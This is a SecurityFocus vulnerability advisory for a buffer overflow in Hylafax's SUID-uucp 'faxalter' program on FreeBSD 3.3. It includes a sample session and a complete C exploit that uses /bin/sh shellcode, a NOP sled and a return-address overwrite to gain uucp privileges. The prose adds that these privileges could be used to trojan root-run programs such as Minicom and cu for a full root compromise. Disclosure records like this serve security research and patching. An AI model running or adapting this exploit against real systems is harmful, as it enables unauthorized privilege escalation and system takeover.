source: http://www.securityfocus.com/bid/765/info

Hylafax is a popular fax server software package designed to run on multiple UNIX operating systems. Some versions of Hylafax ship with a vulnerable sub program 'faxalter'. This program is installed SUID UUCP and has a buffer overflow which if exploited will allow a malicious user to gain UUCP privileges.

Because the important programs are executed as root, such as Minicom (a popular modem terminal program) or cu(1) and are in the UUCP group and therefore writable by the same group they could be trojaned by the attacker. A successful scenario in this event would lead to a root compromise.

/* EXPLOIT
bash-2.03$ uname -a; ls -la `which faxalter`; id
FreeBSD  3.3-RELEASE FreeBSD 3.3-RELEASE #0: Thu Sep 16 23:40:35 GMT
1999
         jkh@highwing.cdrom.com:/usr/src/sys/compile/GENERIC  i386
-r-sr-xr-x  1 uucp  bin  72332 Sep 11 03:32 /usr/local/bin/faxalter
uid=1000(xnec) gid=1000(xnec) groups=1000(xnec), 0(wheel)
bash-2.03$ /home/xnec/faxalterx
$ id
uid=1000(xnec) euid=66(uucp) gid=1000(xnec) groups=1000(xnec), 0(wheel)
$
*/

/*
 * Faxalter exploit for FreeBSD 3.3/hylafax-4.0.2 yields euid=66(uucp)
 * Brock Tellier btellier@usa.net
 */

#include <stdio.h>

char shell[]= /* mudge@lopht.com */
   "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
   "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
   "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
   "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";


main (int argc, char *argv[] ) {
 int x = 0;
 int y = 0;
 int offset = 0;
 int bsize = 4093; /* overflowed buf's bytes + 4(ebp) + 4(eip) + 1 */
 char buf[bsize];
 int eip = 0xbfbfcfad;

 if (argv[1]) {
   offset = atoi(argv[1]);
   eip = eip + offset;
 }
 fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);

 for ( x = 0; x < 4021; x++) buf[x] = 0x90;
     fprintf(stderr, "NOPs to %d\n", x);

 for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
     fprintf(stderr, "Shellcode to %d\n",x);

  buf[x++] = eip & 0x000000ff;
  buf[x++] = (eip & 0x0000ff00) >> 8;
  buf[x++] = (eip & 0x00ff0000) >> 16;
  buf[x++] = (eip & 0xff000000) >> 24;
     fprintf(stderr, "eip to %d\n",x);

 buf[bsize - 1]='\0';

 execl("/usr/local/bin/faxalter", "faxalter", "-m", buf, NULL);

}
